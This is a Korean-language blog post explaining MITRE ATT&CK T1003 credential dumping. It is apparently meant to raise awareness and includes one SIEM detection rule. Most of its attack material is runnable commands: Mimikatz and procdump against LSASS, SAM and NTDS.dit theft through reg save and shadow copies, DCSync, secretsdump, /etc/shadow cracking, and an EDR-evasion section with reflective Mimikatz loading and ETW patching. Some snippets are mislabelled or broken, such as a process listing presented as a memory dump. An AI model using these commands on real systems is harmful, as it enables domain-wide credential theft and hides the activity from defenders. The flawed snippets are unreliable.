자격증명 덤핑: 56개 APT 그룹이 비밀번호를 탈취하는 8가지 경로 | T1003
56개 APT 그룹이 사용하는 자격증명 탈취 8가지 경로. LSASS 메모리부터 /etc/shadow까지, 비밀번호가 유출되는 모든 경로를 매핑했다.
T1003 (OS Credential Dumping)은 MITRE ATT&CK 프레임워크에서 가장 널리 사용되는 공격 기법 3위에 해당하며, 56개 APT 그룹과 152개 소프트웨어가 이 기법을 활용하고 있다. 공격자가 시스템에 초기 접근을 확립한 후 가장 우선적으로 시도하는 활동이 바로 자격증명 탈취이다.
과거 네트워크 환경에서는 한 번 침투하면 내부 시스템 대부분에 자유롭게 접근할 수 있었다. 하지만 현대 엔터프라이즈 환경은 다릅니다. 네트워크 분할, 접근 제어, 최소 권한 원칙이 적용되어 초기 침투만으로는 공격 목표에 도달할 수 없다.
공격자는 ** 횡단 이동(Lateral Movement)** 을 통해 다른 시스템으로 확산해야 하는데, 이때 반드시 필요한 것이 유효한 자격증명이다. 매번 새로운 취약점을 찾아 익스플로잇하는 것보다 정당한 사용자로 위장하는 것이 훨씬 효율적이고 탐지 확률도 낮기 때문이다.
적대자가 사용하는 가장 만연한 ATT&CK 기법 중 3위이며, 시스템에 초기 접근을 확립한 후 적대자의 주요 목표 중 하나는 환경의 다른 리소스와 시스템에 접근하기 위한 자격 증명을 찾는 것입니다. — MITRE ATT&CK T1003
T1003은 운영체제의 메모리, 캐시, 데이터베이스에서 자격증명을 추출하는 공격 기법이다. 해시 형태든 평문이든 상관없이, 인증에 사용할 수 있는 모든 형태의 자격증명이 대상이다.
| 용어 | 설명 |
|---|---|
| LSASS Memory | 대상: Windows 로그온 세션 / 저장 위치: 메모리 프로세스 / 획득 가능한 자격증명: 평문 비밀번호, Kerberos 티켓, NT 해시 |
| SAM Database | 대상: 로컬 계정 / 저장 위치: 레지스트리/파일 / 획득 가능한 자격증명: NT/LM 해시 |
| NTDS.dit | 대상: 도메인 계정 / 저장 위치: Active Directory DB / 획득 가능한 자격증명: 모든 도메인 사용자 해시 |
| LSA Secrets | 대상: 서비스 계정 / 저장 위치: 레지스트리 보호 영역 / 획득 가능한 자격증명: 서비스 계정 평문 비밀번호 |
| Cached Credentials | 대상: 도메인 캐시 / 저장 위치: 로컬 캐시 / 획득 가능한 자격증명: 도메인 로그온 해시 |
T1003은 8개의 서브 기법으로 구성된다:
Local Security Authority Subsystem Service (LSASS) 는 Windows 인증의 핵심 프로세스이다. 사용자가 로그인하면 LSASS는 해당 자격증명을 메모리에 보관하여 네트워크 리소스 접근 시 재인증 없이 사용할 수 있게 한다.
사용자가 로그온한 후 시스템은 LSASS 프로세스 메모리에 다양한 자격 증명 자료를 생성하고 저장하며, 이러한 자격 증명 자료는 관리자 또는 SYSTEM 사용자가 수집하여 대체 인증 정보를 사용한 횡단 이동을 수행하는 데 사용할 수 있습니다. — MITRE ATT&CK T1003.001
공격 시퀀스:
실제 공격 명령어:
# Mimikatz를 사용한 LSASS 메모리 덤프
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 또는 프로세스 덤프 후 오프라인 분석
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"
LSASS 메모리에서 추출 가능한 자격증명:
Security Account Manager (SAM)은 Windows 로컬 계정 정보를 저장하는 데이터베이스이다. 사용자명과 해시된 비밀번호가 포함되어 있어 로컬 권한 상승이나 동일한 비밀번호를 사용하는 다른 시스템 공격에 활용된다.
SAM 파일은 Windows 커널이 얻은 배타적 파일시스템 잠금으로 인해 Windows가 실행 중인 동안 이동하거나 복사할 수 없지만, 레지스트리, 메모리 내 및 볼륨 섀도우 복사본 기법과 같은 자격 증명을 덤프하는 일부 방법이 있습니다. — MITRE ATT&CK T1003.002
우회 기법들:
# 레지스트리를 통한 SAM 덤프
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
# Volume Shadow Copy를 이용한 파일 복사
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
# Mimikatz로 해시 추출
mimikatz.exe "lsadump::sam /sam:sam.save /system:system.save"
NTDS.dit는 Active Directory의 핵심 데이터베이스 파일로, 도메인 내 모든 사용자와 컴퓨터 계정의 해시를 포함한다. 이 파일을 탈취하면 도메인 전체를 장악할 수 있다.
적대자는 자격 증명 정보를 도용하고 도메인 멤버(예: 장치, 사용자 및 접근 권한)에 대한 다른 정보를 얻기 위해 Active Directory 도메인 데이터베이스에 접근하거나 복사본을 생성하려고 시도할 수 있으며, 기본적으로 NTDS 파일(NTDS.dit)은 도메인 컨트롤러의 %SystemRoot%\NTDS\Ntds.dit에 위치합니다. — MITRE ATT&CK T1003.003
공격 방법:
# ntdsutil을 이용한 공식 백업 (의심스럽지 않음)
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds" q q
# Volume Shadow Copy를 이용한 직접 복사
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
# secretsdump으로 해시 추출
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
DCSync는 도메인 컨트롤러를 직접 접근하지 않고도 다른 도메인 컨트롤러인 것처럼 위장하여 Active Directory에서 비밀번호 해시를 요청하는 기법이다.
# Mimikatz DCSync 공격
mimikatz.exe "lsadump::dcsync /domain:company.com /user:administrator"
# 모든 사용자 해시 덤프
mimikatz.exe "lsadump::dcsync /domain:company.com /all"
이 공격이 특히 위험한 이유는:
Linux에서는 주로 두 가지 방법을 사용한다:
1. /etc/shadow 파일 접근 (T1003.008):
# shadow 파일에서 해시 추출
cat /etc/shadow | grep -v "^#\|^$"
# John the Ripper로 크래킹
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
2. 메모리에서 자격증명 추출 (T1003.007):
# /proc/*/mem에서 메모리 덤프
gdb --batch --pid 1234 -ex "dump memory /tmp/dump.bin 0x400000 0x500000"
# 또는 mimipenguin 사용
python mimipenguin.py
공격자에게 T1003은 "투자 대비 수익률이 가장 높은 기법" 이다. 한 번의 성공적인 자격증명 덤핑으로 다음과 같은 이익을 얻다:
1. EDR 우회를 위한 간접 접근:
# 작업 관리자로 덤프 생성 (의심스럽지 않음)
Get-Process lsass | Out-File lsass_pid.txt
tasklist /fi "imagename eq lsass.exe"
# PowerShell 리플렉션을 통한 메모리 접근
[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($MimikatzB64))
2. 메모리 패치를 통한 후킹 우회:
// ETW 패치로 로깅 비활성화
DWORD oldProtect;
VirtualProtect(EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)EtwEventWrite = 0xC3; // RET 명령어로 패치
3. 타이밍 기반 우회:
# 부팅 직후 빠른 덤프 (보안 솔루션 로딩 전)
Start-Sleep -Seconds 30 # 시스템 안정화 대기
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
SolarWinds 공급망 공격 (2020): APT29 (Cozy Bear)는 SolarWinds Orion 소프트웨어를 통해 18,000개 조직에 침투한 후, T1003.001 (LSASS Memory) 과 T1003.006 (DCSync) 을 조합하여 도메인 관리자 권한을 획득했다.
# SolarWinds 공격에서 사용된 실제 명령어 패턴
Get-Process lsass | Select-Object Id
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PID] lsass.dmp full
Kaseya 공급망 공격 (2021): REvil 랜섬웨어 그룹은 Kaseya VSA를 통해 1,500개 조직을 감염시킨 후, T1003.002 (SAM) 과 T1003.003 (NTDS.dit) 를 사용하여 각 조직의 도메인 컨트롤러를 장악했다.
1. 특권 계정 보호:
2. 탐지 및 모니터링:
# SIEM 탐지 규칙 예시
- rule: LSASS Memory Access
condition: >
(process.name == "mimikatz.exe" OR
process.name == "procdump.exe" AND process.args contains "lsass") OR
(file.path == "lsass.dmp" OR
registry.key contains "SAM" AND process.name != "services.exe")
3. 네트워크 분할:
T1003으로 획득한 자격증명은 다음 공격 기법들과 연결된다:
이처럼 T1003은 단독으로 사용되기보다는 공격 체인의 핵심 연결고리 역할을 한다. 초기 침투 후 권한 상승, 횡단 이동, 지속성 확보의 모든 단계에서 필요한 자격증명을 제공하는 것이다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.